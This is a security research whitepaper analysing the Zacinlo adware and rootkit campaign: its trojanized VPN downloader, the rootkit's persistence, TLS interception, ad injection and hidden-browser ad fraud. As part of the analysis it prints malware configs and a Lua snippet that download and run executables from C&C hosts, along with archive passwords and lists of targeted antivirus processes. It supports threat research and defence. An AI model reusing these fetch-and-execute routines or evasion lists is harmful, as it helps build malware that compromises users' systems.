Bitdefender®
Six Years and Counting: Inside the Complex Zacinto Ad Fraud Operation
Authors:

Claudiu Cobliș - Security Researcher, Cyber Threat Intelligence Lab
Cristian Istrate - Security Researcher Tech Lead, Cyber Threat Intelligence Lab
Cornel Punga - Security Researcher, Cyber Threat Intelligence Lab
Andrei Ardelean - Security Researcher, Cyber Threat Intelligence Lab
Foreword

For more than a decade, adware has helped software creators earn money while bringing free applications to the masses. Headliner games and applications have become widely available to computer and mobile users the world over, with no financial strings attached.

This contract between the developer and the consumer, however, is governed by third parties – the advertisers – the entities that absorb the product’s cost in exchange for user-generated information and behavior. Enter the adware era.

While generating untold revenue for the companies that run these programs, adware has witnessed constant improvements over the years in both data collection and resilience to removal. The line between adware and spyware has become increasingly fuzzy during recent years as modern adware combines aggressive opt-outs with confusing legal and marketing terms as well as extremely sophisticated persistence mechanisms aimed at taking control away from the user. This whitepaper details an extremely sophisticated piece of spyware that has been running covertly since early 2012, generating revenue for its operators and compromising the privacy of its victims.

One of the perks of identifying a new strain of malware is getting to name it. We called this adware family “Zacinlo”, after the final payload, although this might not be the most appropriate name for such a complex piece of code. In Slovenian, the term “začilno” translates to “temporary,” but nothing is temporary in the way the adware operates. On the contrary, it has been active on the market for more than six years now, and the fallout it has brought to users won’t be easily fixed anytime soon.
Overview

Last year we came across a digitally signed rootkit capable of installing itself on most Windows operating systems, including the newest releases of Windows 10. Since rootkits these days account for under 1 percent of the malware output we see worldwide, this immediately drew our attention and prompted us to carry out an extensive analysis of the payload, its origins and the spread. We discovered an ample operation whose central component is a very sophisticated piece of adware with multiple functionalities.

Our information indicates that the adware has been active since 2012-2013. We have identified at least 25 different components found in almost 2,500 distinct samples. While tracking the adware, we noticed some of the components were continuously updated with new functionalities, dropped altogether or integrated entirely in other components. This once again reinforces our initial assumption that the adware is still being developed as of the writing of this paper.

While looking at the communication mechanism of the adware, we identified that a multitude of domains bought from Enom were acting as command-and-control centers. These domains were all registered to two email addresses, included in the IoC chapter at the end of this paper.

The main features of this adware that drew our attention are:

- The presence of a rootkit driver that protects itself as well as its other components. It can stop processes deemed dangerous to the functionality of the adware while also protecting the adware from being stopped or deleted. The presence of man-in-the-browser capabilities that intercepts and decrypts SSL communications. This allows the adware to inject custom JavaScript code into webpages visited by the user.

- It features an adware cleanup routine used to remove potential „competition” in the adware space. This routine is rather generic and does not target a particular family or type of adware.

- The adware can uninstall and delete services based on the instruction it receives from the command and control infrastructure.

- It reports some information about the environment it is running in to the C&C. This information includes whether an antimalware solution is installed (and if so, which one), which applications are running at start-up and so on.

- It takes screen captures of the desktop and sends them to the command and control center for analysis. This functionality has a massive impact on privacy as these screen captures may contain sensitive information such as e-mail, instant messaging or e-banking sessions.

- It can accommodate the installation of virtually any piece of software on the fly and thus extend its functionality.

- It features an automatic update mechanism.

- It redirects pages in browsers.

- It adds or replaces advertisements while browsing by searching DOM objects by size, style, class or specific regular expressions.

- Uses many platforms to pull advertising from advertising, including Google AdSense.

- Obsolete or expired ads can be easily replaced by new ones.

- Silently renders webpages in the background in hidden windows and interacts with them as a normal user would: scrolling, clicking, keyboard input. This is typical behavior for advertising fraud that inflicts significant financial damage on online advertising platforms.

- Its extensive use of open-source projects and libraries (e.g: chromium, cryptopop, jsoncpp, libcef, libcurl, zlib, etc.)

- It uses Lua scripts to download several components (most likely as a way to fly under the radar of some antimalware systems).
solutions that detect suspicious downloads and block them as such)

- Extremely configurable and highly modular design that can expand functionality via scripts and configuration files made available via the command and control infrastructure

Spreading and geography

The vast majority of the samples we tracked were spotted in the USA and, in much lower numbers, in France, Germany, Brazil, China, India, Indonesia, Phillipines.

Figure 1 – Distribution by Country

Figure 2 – Distribution by OS
About 90 percent of the systems where the adware components were found were running Windows 10.
Components of this campaign seem to date back as far as 2012 but it appears the adware was most active in the final months of 2017.

The adware components are silently installed by a downloader that is presented as a free and anonymous VPN service (s5Mark), distributed in an installer. s5Mark has a simple graphical interface used as a decoy for the intrusive unwanted behavior taking place behind the scenes. Note that a non-technical user is led to believe that a VPN connection is established even though no such thing is even attempted.

![Figure 4 – Misleading GUI](image)

**Figure 4** – Misleading GUI

**Stage One: The Downloader**

The infection chain starts with a downloader (Figure 5) that installs an alleged VPN application. Once executed, it downloads several other components, as well as a dropper (Figure 6) or a downloader (Figure 7) that will install the adware and rootkit components.

The dropper accomodates all the components in its resources section, where they are compressed and password-protected. Some versions of this attack uses a downloader instead of a dropper to download the adware and rootkit components. Another downloaded component (Updater from Figure 2) is again a downloader that acts as an updater and offers persistence for the components it downloads; it gets a configuration Json from the C&C that specifies the file to be downloaded. Our lab tests shows that this file was another version of the main downloader.

The other component downloaded by the main downloader is the VPN application. The latest version of the main downloader uses a Powershell command to disable real-time monitoring provided by Windows Defender before running. Realtime Monitoring is enabled again after successful installation of the adware.
The adware and rootkit dropper/downloader subsequently runs several executables that will further download other files and eventually the payload and deploys two drivers: a rootkit used for protection and persistence and a driver from the Netfilter SDK framework, a commercial solution for filtering network packets. The Netfilter driver is used to carry out the MITM attack and injection of scripts in web pages. One of the executables also installs a certificate needed for the MITM attack.
Stage Two: The Rootkit Driver

The central piece of the adware is probably the rootkit driver, which is responsible for providing persistence and protection for the other components from being read, written or deleted. It is also used to patch or block antimalware services.

The analysed driver is digitally signed with a certificate from Handan City Congtai District LiKang Daily Goods Department, which is currently revoked. The certificate had a validity period between 06/28/2013 and 06/29/2014. Almost all rootkit samples found are signed with this certificate. The very few other certificates found are also expired and belong to: Shanghai Domainlink Software Technology Co., Ltd.; Shanghai Daisi Software Technology Co., Ltd.; BEIJING XINDA HUANYU NETWORK SECURITY TECHNOLOGY CO., LTD.

Among the targeted antimalware solutions are products developed by the following companies: Bitdefender, Qihoo, Kingsoft, Malwarebytes, Symantec, Panda, HitmaPro, Avast, Avg, Microsoft, Kaspersky, Emsisoft and Zemana. The rootkit finds them by file names or by Subject Name field in their certificates, then the antimalware modules are prevented from starting. In case of an infection, we recommend a System Scan using Bitdefender Rescue Mode to remove the rootkit and the adware components.

This rootkit component is highly configurable and stores all the configuration data encrypted inside the Windows Registry. It has also a very effective persistence method: during Windows Shut Down, it rewrites itself from memory to disk under a different name and it updates its registry key.

The rootkit redirects the access to the files in a directory that stores the user-mode component and the Netfilter driver; these are copied in other locations and started during the rootkit initialization phase. This is a hiding technique, when one of the monitored files is opened another clean file is served. The user-mode component that will later download and start the payload is started by the driver so that it leaves very few traces behind: a copy is made in another location and a process is created from the copied file. After the process is started, the copied file is overwritten with zeros. As a result, the user-mode component has no apparent persistence on the system and even its file leaves no forensic evidence. Figure 8 details a diagram of the rootkit and how the components are interlinked.
1. The driver gets its configuration data from the Registry: names of AV processes to block, the files in the backup folder to be hidden, the files in the payload folder to be whitelisted.

2. The driver sets itself as a filter driver. Access to the files in the backup folder will be redirected to other clean files.

3. The driver copies the NetFilter driver (\zacinlo.sys) from the backup folder to the \System32 directory, then it starts NetFilter.

4. The driver copies \zacinlo.exe (or \msidntld.exe) from the backup folder to \System32 folder and starts the application from the new location. After starting, the executable from \System32 folder is overwritten with zeros to prevent forensic analysis.

5. The driver registers different kernel callbacks. Callbacks for driver loading and process creation are used to prevent antimalware solutions from starting. A Registry callback is used to block access to the service key of the driver. A shutdown notification is used for persistence.

6. During shutdown, the driver creates a copy of its file with a new random name. The Registry service key for the driver is updated with the newly generated name.

7. The user-mode component loads (if not already loaded in step 3) and configures the NetFilter driver to inject scripts in web pages.

8. The user-mode component downloads and starts the payload files.
Stage Three: The Payload

From a technical perspective, the payload falls under the adware category, as its main purpose is to display ads in web pages that the user visits and to open web pages that are hidden from the user.

The starting point is the user-mode application that is started by the rootkit (\texttt{zacinlosvc.exe} or \texttt{msidntld.exe} are some of the possible names). The first important action it takes is to install a new trusted Certificate Authority (CA) in the local Windows Certificate Store and similar stores used by browsers (Firefox Certificate Database, the root store used by older versions of Opera, etc.).

This certificate will be used to hijack secured web connections using MITM attack methods. Only specific processes will be attacked, including popular browsers: \texttt{Edge}, \texttt{Internet Explorer}, \texttt{Firefox}, \texttt{Chrome}, \texttt{Opera}, \texttt{Safari}, etc. The application also starts the Netfilter driver if it's not already started by the rootkit. The driver will be used as a tool by the user-mode application to intercept network traffic and inject scripts in web pages, even under secure connections.

A secured connection before and after the MITM attack can be seen below:
Figure 10 – Unaltered Secured Connection

Figure 11 – Hijacked Secured Connection
In a hijacked connection that takes place via TLS, the original site certificate is replaced and the page contains an injected script (highlighted in Figure 11). The script is external and found on cdn.optitc.com. The script collects information about the browser (version, cookies, visited URL, timezone, language, etc), and generates a new external script found on the same C&C with the collected data encoded in base64 (the script just after the highlighted one in Figure 11). The received script contains a configuration JSON that tells the script what advertisements should be added and where.

The JSON contains an array of objects that also specify how the ads should be inserted. Here is one example:

```json
...
{
  "t": "banner",
  "n": "\u66ff\u6362 120x600",
  "id": "",
  "cls": "",
  "width": 120,
  "height": 600,
  "method": 3,
  "align": "t",
  "valign": "b",
  "x": 0,
  "y": 0,
  "close_button": false,
  "close_auto": false,
  "close_timeout": 3,
  "fade_enabled": true,
  "fade_timeout": 3,
  "test_enabled": true,
  "test_selector": "",
  "test_js": "",
  "test_x": "ud",
  "test_offset_x": 10,
  "test_y": "ud",
  "test_offset_y": 25,
  "output": 3,
  "replace_method": 6,
  "replace_limit": 2,
  "rotate_enabled": false,
  "rotate_limit": true,
  "rotate_interval": 10,
  "rotate_random": false,
  "rotate_times": 1,
  "ads": ["Google 120x600", "code", "script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>"
  <!-- 1-120600 -->
  <ins class="adsbygoogle"
    style="display:inline-block;width:120px;height:600px"
    data-ad-client="ca-pub-5342417538670803"
    data-ad-slot="9746813776">
    </ins>
  <script>(adsbygoogle = window.adsbygoogle || []).push({});</script>"
  <!-- 1-120600 -->
  <ins class="adsbygoogle"
    style="display:inline-block;width:120px;height:600px"
    data-ad-client="ca-pub-5342417538670803"
    data-ad-slot="9746813776">
    </ins>
  <script>(adsbygoogle = window.adsbygoogle || []).push({});</script>"
},
"n": "",
"tip_pos": "lb",
"tip_enabled": true,
"tip_text": "AD",
"_id": 198712
},
...
```

**JSON configuration file**

For this case, it injects one Google AdSense ad into the page with the advertiser account ID 5342417538670803. The other fields specify how the ad will be presented: if there is more than one ad they can be switched after some time, if the ad has a close button, if the ad closes automatically after a time, if the ad should replace another ad or just be added in page and so on. The JSON also contains other advertiser types from:

- cdn.downloadtraffic.com
- n131adserv.com
- egreader.com

Even though the accounts for these IDs would eventually be blocked when fraudulent or abusive use gets picked up by the advertiser’s automated controls, new ads could be injected easily because the payload only needs an updated JSON from the C&C.

The second main purpose of the executable (zacinlosvc.exe) is to download other payload files. During our analysis, we noticed two files were downloaded: svcvmx.exe and vmxclient.exe. These files get placed in a random directory in %LOCALAPPDATA% or %PROGRAMFILES%. The files have no direct persistence on the system and are started by the above user-mode app zacinlosvc.exe (which in turn is started by
the rootkit). Every process is started by the original process started by the rootkit so that fewer traces of malware are left behind. The two files, however, are not protected or hidden and, if they get deleted, they will be downloaded again when the chain is started by the rootkit.

**Figure 12 – Payload Execution**

The two files work in a Master/Slave model. The master process (*svcvmx.exe* in *Figure 12*) contacts the C&C and sends some information (OS version, MAC address, CPU info, etc) and will receive a list of sites to be visited. The data received from the C&C is encoded as JSON objects holding the websites and LUA commands such as: *SendMouseMoveBrowser, SendMouseClick, SendMouseWheel, RandScroll, InjertJS, OpenURL, Back, Forward, Reload, InputString, etc.* The scripts from the C&C specialize in opening pages, inserting JS scripts and emulating regular user behavior such as scrolling and clicking.

The master process then starts the slave process (*vmxclient.exe* in *Figure 12*) and the two processes communicate over a named pipe. The slave contains code for a LUA interpreter and the Chromium Embedded Framework (CEF); it is built as a basic, custom browser that can run LUA scripts. The scripts received by the master process from the C&C are sent through the named pipe to the slave process, which will execute them and therefore generate traffic on different sites.

Because the slave is using the multi-process CEF library, it will spawn several child processes during the browsing process. It is important to mention that the slave process is started in a newly created Desktop, not inside the Default one, and as such the rendered browsers will be hidden from the user.
The components we documented above form the building blocks of the adware framework. Some versions of downloaders and droppers will install additional components, several of which are interconnected and will check for the presence of other components. If they are not installed, they are downloaded and set as persistent to survive reboots. Some components will harvest more info about the system, take screenshots and send the collected information to the C&C. Others have the ability to kill processes. Large lists with of executable names or MD5 hashes are received from C&C and the processes that match any of them are terminated.
Apparently, not only security solutions are targeted but other adware processes as well. The targeted adware is not specific, but belongs to many different families. We presume that the operators of Zacinlo are either competing against other adware rings or just fighting for system resources as the page rendering, browsing pages and videos consumes significant CPU cycles and network bandwidth.

The files in this introduction come with different names, depending on version. We collected samples from various time periods to see how this campaign evolved from an emerging threat into a highly effective and aggressive adware campaign with obvious signs of malware behavior.

We will discuss the technical particularities of the binaries in the following chapters.

**The main downloader**

The main downloader is the initial point of compromise. It is a Trojanized application advertised as a free and anonymous VPN service and is usually distributed on the network. To fulfill its tasks, this component uses open-source projects like: zlib, http-parser, jsoncpp and tinyxml. Once executed it starts decrypting its “XML” directory resources using the xor operation with 0xC3 as key.

After decryption, the XML is parsed using tinyxml, and the configuration information inside is used to contact the C&C and download files from it. Another encrypted configuration file is downloaded from the C&C which will be decrypted using XOR with 0x7B as key. Its purpose is to specify which registry keys to create and what components to download, what file type these were, where to be saved, as well as how to execute them.
Other connections to C&C are made, but unfortunately the API seems to be down.
The Updater

This component acts as a secondary downloader, as well as an updater. The executable can handle these command line arguments:

- UnregServer
- RegServer
- Service
- UnregServerPerUser
- RegServerPerUser

The sample starts extracting an encrypted config from its resources:

```json
{
  "domains": [
    "tracking.photoyee.com",
    "tracking.weiboniu.com",
    "tracking.yeehbuy.com",
    "tracking.downloadyee.com"
  ]
}```
The executable checks if two services exists and are running, with the names in the AName and BName fields. If one of them is running, the other one gets deleted; if both are running, then the first one gets deleted and – finally - if neither is running, the second one gets deleted. It will also check if a config file exists in %programdata%\u4c with the name from infoName; the config file gets updated and will contain an encrypted JSON with the InstallTime, lastInstallTime, version fields. It gets a binary file from the domains and taskUri fields which, once decrypted, will contain another config from the domains and taskUri fields:

```
{
    "upinfo": {
        "version": 8,
        "name": "webdefer",
        "url": "http://ad.downloadyee.com/s2.exe",
        "openlog": false
    },
    "tasks": [
        {
            "name": "qcmd",
            "url": "http://ad.downloadyee.com/toolbar/s5_svc_databack20150414.exe",
            "cmd": "fuck8you",
            "md5": "658a66a4dc4c55dced4de5f2df44f9de",
            "session": 1
        }
    ]
}
```

From the tasks value, the updater will download the file and store it in %programdata%, in a subfolder named after the value in taskDirName from the first json. Then the file will be started with parameter from cmd. The downloaded file is another version of the initial download manager.
White Paper

The S5mark Application

This is the Trojanized application that serves as a pretext to lure the user into installing the adware components. It just makes a request `qq.com` when the button is toggled. It comes with an installer and uninstaller.

![S5mark Application](image)

The Setup Dropper

This component integrates the sources code of two open-source projects:

- Zlib
- Crypto++

In order to start, it needs `-insta` parameter, and the operating system it is running in should be at least Windows XP or an x64 platform operating system. This dropper contains multiple archives in its resources (BINDATA directory). All these archives are password-protected with different passwords that are hard-coded in the binary files. After extraction, the archives are deleted from disk.

<table>
<thead>
<tr>
<th>Component</th>
<th>Archive</th>
<th>Files</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>msidntld</td>
<td>msidntld32</td>
<td>msidntld32.data</td>
<td>rq2cCy8fhLp14TwCFRCU</td>
</tr>
<tr>
<td></td>
<td>msidntld64</td>
<td>msidntld64.data</td>
<td></td>
</tr>
<tr>
<td>netfilter3</td>
<td>netfilter3_x86_xp</td>
<td>netfilter3_x86_xp.data</td>
<td>W-rPJbw6LQtmPef5kxqh</td>
</tr>
<tr>
<td></td>
<td>netfilter3_x64_xp</td>
<td>netfilter3_x64_xp.data</td>
<td></td>
</tr>
<tr>
<td></td>
<td>netfilter3_x86_win7</td>
<td>netfilter3_x86_win7.data</td>
<td></td>
</tr>
<tr>
<td></td>
<td>netfilter3_x64_win7</td>
<td>netfilter3_x64_win7.data</td>
<td></td>
</tr>
<tr>
<td></td>
<td>netfilter3_x86_win8</td>
<td>netfilter3_x86_win8.data</td>
<td></td>
</tr>
<tr>
<td></td>
<td>netfilter3_x64_win8</td>
<td>netfilter3_x64_win8.data</td>
<td></td>
</tr>
<tr>
<td>radardt</td>
<td>radardt32</td>
<td>radardt32.data</td>
<td>QecTmzgcmfW6SCf4-s5s</td>
</tr>
<tr>
<td></td>
<td>radardt64</td>
<td>radardt64.data</td>
<td></td>
</tr>
</tbody>
</table>
If the operating system’s platform is not x86 it verifies for $\text{\textbackslashDrvProtect}$ device (the rootkit component’s device) and if it is found then:

It generates random directory and file names (for $\text{svcvmx}$ and $\text{vmxclient}$ components) if set pt data $(\text{HKLM\SYSTEM\CurrentControlSet\Network})$ is not set, and both components will be saved in an encrypted form in this registry value.

It sets $\text{atimode}$ registry data $(\text{HKLM\SYSTEM\CurrentControlSet\Network})$.

It checks for the following antimalware processes:

<table>
<thead>
<tr>
<th>Antimalware processes checked by this component</th>
</tr>
</thead>
<tbody>
<tr>
<td>mbam</td>
</tr>
<tr>
<td>avguard</td>
</tr>
</tbody>
</table>

- Based on the operating system’s platform, the $\text{Msidntld}$ archive component will be dropped with random name in $\%\text{temp}\%$. The file is extracted in a randomly generated directory created under $\text{System32}$ with a randomly generated filename.

- Depending on the operating system platform and the operating system, the second archive dropped with a random name in the $\%\text{temp}\%$ directory is the $\text{NetFilter}$ component. The file is extracted in the same directory with $\text{msidntld}$ (zacinlo) component and with the same generated name but with the “.sys” extension instead.

- The $\text{Radardt}$ rootkit component is the third dropped archive, depending on the operating system’s platform. The file is then extracted in $\text{System32\drivers}$ with a randomly generated file name.

- If $\text{ns.exe}$ (Norton by Symantec) is not found among the running processes, another archive gets dropped in a randomly generated directory name created in $\%\text{temp}\%$ with the $\text{temp}$ file name. The file serves as service component and will be extracted in the same folder with the archive, then the executable is started with the parameter "$\text{-install}$.

- If an antimalware process was found, it reboots the computer using the command "$\text{cmd open /c start \"shutdown /r\"}$".

If the operating system’s architecture is x86, it will drop $\text{ct2}$ component in a randomly generated directory name created in $\%\text{temp}\%$ with the filename called $\text{temp}$. The file serves as a service component and will be extracted under the name $\text{ct.exe}$ in the same directory with the archive, then it will be executed with the "$\text{-install}$" parameter.

The generated filenames or directory names start with a prefix as follows:

- executable name starts with $\text{ms}$, followed by random 5 characters and $\text{.exe}$ extension
- driver name can start with one of the following:

<table>
<thead>
<tr>
<th>Win</th>
<th>vso</th>
<th>vol</th>
<th>vmr</th>
<th>usb</th>
<th>ter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Tdi</td>
<td>srv</td>
<td>rdp</td>
<td>ras</td>
<td>par</td>
<td>mdi</td>
</tr>
<tr>
<td>mou</td>
<td>mon</td>
<td>dum</td>
<td>ata</td>
<td>cdr</td>
<td></td>
</tr>
</tbody>
</table>
followed by a random 5 characters and .sys extension

- directory name can start with one of the following:

<table>
<thead>
<tr>
<th>wmi</th>
<th>ime</th>
<th>ctf</th>
<th>wud</th>
<th>vma</th>
<th>vmt</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vga</td>
<td>win</td>
<td>Isa</td>
<td>nis</td>
<td>utc</td>
<td></td>
</tr>
</tbody>
</table>

followed by 4 random characters. Depending on the file version the starting string may differ.

The LUA interpreter

The component corresponds to the ct2.exe file. It integrates the source code from the following open-source projects:

- Lua 5.1
- Lua Cjson
- Lua Bridge
- Zlib
- Cryptopp

Depending on the supplied arguments, it provides different functionality:

- Install action (-install or /install argument (default case))
- Removal action (-remove or /remove argument)
- No argument case (there is no argument or the first arguments doesn't start with "-" or "/")

**Install action**

Searches for the "windowsmanagementservice" service and, if it is found, it kills the process belonging to this service, obtains "SeDebugPrivileges" and it stops and deletes this service. The service windowsmanagementservice will be created under the display name "Windows Management Service" and description "Provide management service for system."; it is set as a delayed autostart service and then it will be started.

**Remove action**

All it does is to stop and delete its service.
No argument action

This use case does two important things:

It exports some Lua functions and variables which will be used by the downloaded Lua script.

Creates the service control handler (*stop, pause, continue, interrogate*).

<table>
<thead>
<tr>
<th>Exported Lua Functions / Variables</th>
<th>Parameters</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>EncodeDecString</strong></td>
<td>String</td>
<td>Encrypted string</td>
<td>Encrypts string</td>
</tr>
<tr>
<td><strong>DecodeDecString</strong></td>
<td>Encrypted string</td>
<td>Decrypted string</td>
<td>Decrypts string</td>
</tr>
<tr>
<td><strong>DeleteFile</strong></td>
<td>File path</td>
<td>True in case of success, false otherwise</td>
<td>Deletes the file</td>
</tr>
<tr>
<td><strong>GetInstallDir</strong></td>
<td>-</td>
<td>Install directory path</td>
<td>Returns the install directory</td>
</tr>
<tr>
<td><strong>GetTempDir</strong></td>
<td>-</td>
<td>Install directory path</td>
<td>Returns the install directory</td>
</tr>
<tr>
<td><strong>GetFileBase64</strong></td>
<td>File path</td>
<td>Base64 string</td>
<td>Encode file data in Base64 encoding</td>
</tr>
<tr>
<td><strong>GetFileVersion</strong></td>
<td>File path</td>
<td>File version</td>
<td>Return file version</td>
</tr>
<tr>
<td><strong>GetMiscInfo</strong></td>
<td>-</td>
<td>Return a string which contains information about the system and the malware GUID and version</td>
<td>Takes multiple information (e.g.: guid, time, utc, mac, os, cpu, memory, language, country, screen, bit, version) and builds it into a string</td>
</tr>
<tr>
<td><strong>IsFileExist</strong></td>
<td>File path</td>
<td>True if file exists, false otherwise</td>
<td>Check if file exists</td>
</tr>
<tr>
<td><strong>IsProcessorExist</strong></td>
<td>Process name</td>
<td>True if process is running, false otherwise</td>
<td>Check if the process name is running</td>
</tr>
<tr>
<td><strong>IsServiceRunning</strong></td>
<td>Service name</td>
<td>True if service is running, false otherwise</td>
<td>Check if the service name is running</td>
</tr>
<tr>
<td><strong>IsServiceInstall</strong></td>
<td>Service name</td>
<td>True if service exists, false otherwise</td>
<td>Check if service name exists</td>
</tr>
<tr>
<td><strong>IsMutexExist</strong></td>
<td>Mutex name</td>
<td>True if mutex exists, false otherwise</td>
<td>Check if mutex exists</td>
</tr>
<tr>
<td><strong>LaunchApp</strong></td>
<td>File path, parameters</td>
<td>True in case of success, false otherwise</td>
<td>Starts a program with the provided parameters</td>
</tr>
<tr>
<td><strong>RequestUrl</strong></td>
<td>Url</td>
<td>Received data</td>
<td>Download data from the specified url</td>
</tr>
<tr>
<td><strong>RequestFile</strong></td>
<td>Url, file path</td>
<td>True in case of success, false otherwise</td>
<td>Download the file from the specified url</td>
</tr>
<tr>
<td><strong>Sleep</strong></td>
<td>Milliseconds</td>
<td>-</td>
<td>Sleeps for specified milliseconds</td>
</tr>
<tr>
<td><strong>TerminateProcess</strong></td>
<td>Process name</td>
<td>True in case of success, false otherwise</td>
<td>Terminates a process</td>
</tr>
<tr>
<td><strong>UninstallService</strong></td>
<td>Service name</td>
<td>-</td>
<td>Uninstall the service</td>
</tr>
<tr>
<td><strong>Unzip</strong></td>
<td>Archive, output file path, archive password</td>
<td>True in case of success, false otherwise</td>
<td>Unzip the specified archive</td>
</tr>
<tr>
<td><strong>WriteFile</strong></td>
<td>File path, data</td>
<td>-</td>
<td>Writes data to file</td>
</tr>
<tr>
<td><strong>WriteLog</strong></td>
<td>File path, data</td>
<td>-</td>
<td>Writes data to log file</td>
</tr>
<tr>
<td><strong>AppVersion</strong></td>
<td>-</td>
<td>-</td>
<td>Application version</td>
</tr>
<tr>
<td><strong>AppPath</strong></td>
<td>-</td>
<td>-</td>
<td>Application path</td>
</tr>
</tbody>
</table>

A query string is created based on information about the system and malware version (e.g.: GUID, MAC, OS, ...) that will be encrypted with DES. The encrypted string will be used to download a script from the C&C and, depending on the component’s version, it will download a different Lua script that will be decrypted and interpreted.
For version 2.0.18.1 the file is downloaded from C&C "173.192.28.166".
2) For version 2.0.7.1, the file is downloaded from C&C "http://www.opttracker.com":

```
GET /interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4 HTTP/1.1
Connection: Keep-Alive
User-Agent: SmartService
Host: www.opttracker.com

HTTP/1.1 200 OK
Server: OpenResty/1.7.7.1
Date: Tue, 08 Feb 2018 15:06:19 GMT
Content-Type: text/plain
Connection: Keep-Alive
Content-Length: 1168

This version of Lua script checks if `splsrv.exe` file exists using the exported Lua functions of the LUA interpreter component and downloads it from :

```
hxxp:/ /173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4
```

Decrypted string of `2513e5cbeb3e665d01ffade16fb6f9b4` is `name=splsrv.exe`. If the file exists, it checks the version by calculating a MD5 hash on the file and, if it differs from `6ea6a754db7eccf215c70d229bb878b`, it terminates the process and downloads the new version from :

```
hxxp:/ /173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4
```

If the process `splsrv.exe` is not running, it will run the executable with the parameters:

```
-\"ip\"=173.192.16.184 -\"interval\"=3600 -\"version\"=\"AppVersion\"
```

```
name=\"splsrv.exe\"; then
  RequestURI=\"http://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4\"; "splsrv.exe"
else
  local nM5 = GetFileMD5\("splsrv.exe\")
  if string.upper(nM5) == string.upper\("6ea6a754db7eccf215c70d229bb878b\"") then
    TerminateProcess\(\"splsrv.exe\"
  end
  if not IsProcessExist\(\"splsrv.exe\"\) then
    LaunchApp\(\"splsrv.exe\"\) ; \"-ip\" = \"173.192.16.184\" ; \"-interval\" = \"3600\" ; \"-version\" = \"AppVersion\"
end
```

This version of Lua script checks if `splsrv.exe` file exists using the exported Lua functions of the LUA interpreter component and downloads it from:

```
hxxp://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4
```

In case it doesn't exist. Decrypted string of `2513e5cbeb3e665d01ffade16fb6f9b4` is "name=splsrv.exe". If the file exists, it checks the version by calculating a MD5 hash on the file and, if it differs from `6ea6a754db7eccf215c70d229bb878b`, it terminates the process and downloads the new version from:

```
hxxp://173.192.28.166/interface/getFile1?2513e5cbeb3e665d01ffade16fb6f9b4
```

If the process `splsrv.exe` is not running, it will run the executable with the parameters:

```
-\"ip\"=173.192.16.184 -\"interval\"=3600 -\"version\"=\"AppVersion\"
```
The purpose of this script is to download the updated versions of the component’s files. Using `IsMutexExist` it checks for the existence of the `Global\SetupMutex_{ABE47B72-0C2F-421F-BFE5-86F8ABD3570}` mutex and it waits until it exists. For a maximum of 24 hours, this mutex gets verified on the hour, and if exists, it builds a query string based on the client information and system information (e.g.: GUID, CPU, memory). The query string will be encrypted and sent as a request on the C&C `hxpp://gpt9.com/api/cpx?q=` using the built query string.

Another request will be made to a different IP address based on the ct2 component file version. If the version number is **2.0.18.1, 2.0.19.1, 2.0.20.1, 2.0.21.1** or **2.0.22.1**, it uses `198.8.61.161` IP address, otherwise it uses `173.192.16.184`. The received data is a JSON containing information about other components.
Component’s entry in JSON:

- **parameters** – the arguments that get passed to the executable when it starts
- **always_run** – specifies that the executable needs to run
- **version** – current file version of the component
- **password** – archive password
- **app** – tag name
- **service** – service name of the component
- **name** – name of the component
- **url** – url to an archive containing the updated component

For each entry in the JSON file of the components, it compares the versions, checks if the file exists and whether the process and service is running. If the file doesn’t exist or the version doesn’t match the JSON’s entry, it downloads the file from the specified url. The downloaded file is a password-protected archive. The file contained in the archive will get extracted using the password from the **password** field entry of the component. After extraction the archive gets deleted and the executable is started with the provided **parameters** value as parameters.
The Service Component

The component corresponds to `ct.exe` file.

A simple component that seems to be in working progress. It has Libcurl library integrated but it is not used. This component can receive the following arguments:

**install**

Will install itself as a service with the name *Windows Management Services* (*windowsmanagementservice* key in Registry). The service will be started with `/svc` parameter.

**svc**

Service Control Manager will start the process with this parameter (will register service handlers).

**launch** and **params**

Used to start an executable with the **params** commandline parameters.
The Setup Downloader

This component integrates the source code of two open-source projects:

- Zlib
- Cryptopp

It is somewhat similar to the Setup Dropper component but, unlike Setup Dropper, it downloads the component straight from the C&C server. It starts by collecting client and system information (e.g.: client GUID, OS version and so on) including details about its running components (\texttt{splsrv}, \texttt{cpx}, \texttt{svcvmx}), its service (\texttt{windowsmanagementservice}) and running antimalware processes. This information will get passed as query string on the request that it will make to the command and control center located at \texttt{http://www.gpt9.com}.

<table>
<thead>
<tr>
<th>Antimalware processes checked by this component</th>
</tr>
</thead>
<tbody>
<tr>
<td>a2service</td>
</tr>
<tr>
<td>a2start</td>
</tr>
<tr>
<td>AdAwareDesktop</td>
</tr>
<tr>
<td>AdAwareService</td>
</tr>
<tr>
<td>AdAwareTray</td>
</tr>
<tr>
<td>avastsvc</td>
</tr>
<tr>
<td>Avgrsx</td>
</tr>
<tr>
<td>avgsvcx</td>
</tr>
<tr>
<td>avgux</td>
</tr>
<tr>
<td>bdagent</td>
</tr>
<tr>
<td>bullguard</td>
</tr>
<tr>
<td>cis</td>
</tr>
<tr>
<td>CisTray</td>
</tr>
<tr>
<td>dwardkaemon</td>
</tr>
<tr>
<td>dwengine</td>
</tr>
<tr>
<td>egui</td>
</tr>
<tr>
<td>Ekrn</td>
</tr>
<tr>
<td>FortiClientVirusCleaner</td>
</tr>
<tr>
<td>FPAVServer</td>
</tr>
<tr>
<td>FprotTray</td>
</tr>
<tr>
<td>fsgtk32</td>
</tr>
<tr>
<td>gdscan</td>
</tr>
<tr>
<td>guardkixoff</td>
</tr>
<tr>
<td>guardkservice</td>
</tr>
<tr>
<td>guardkkservice_x64</td>
</tr>
<tr>
<td>iptray</td>
</tr>
<tr>
<td>K7SysMon</td>
</tr>
<tr>
<td>K7TSecurity</td>
</tr>
<tr>
<td>K7TSMain</td>
</tr>
<tr>
<td>mcshield</td>
</tr>
<tr>
<td>mssecos</td>
</tr>
<tr>
<td>nanov</td>
</tr>
<tr>
<td>nanosvc</td>
</tr>
<tr>
<td>navapvc</td>
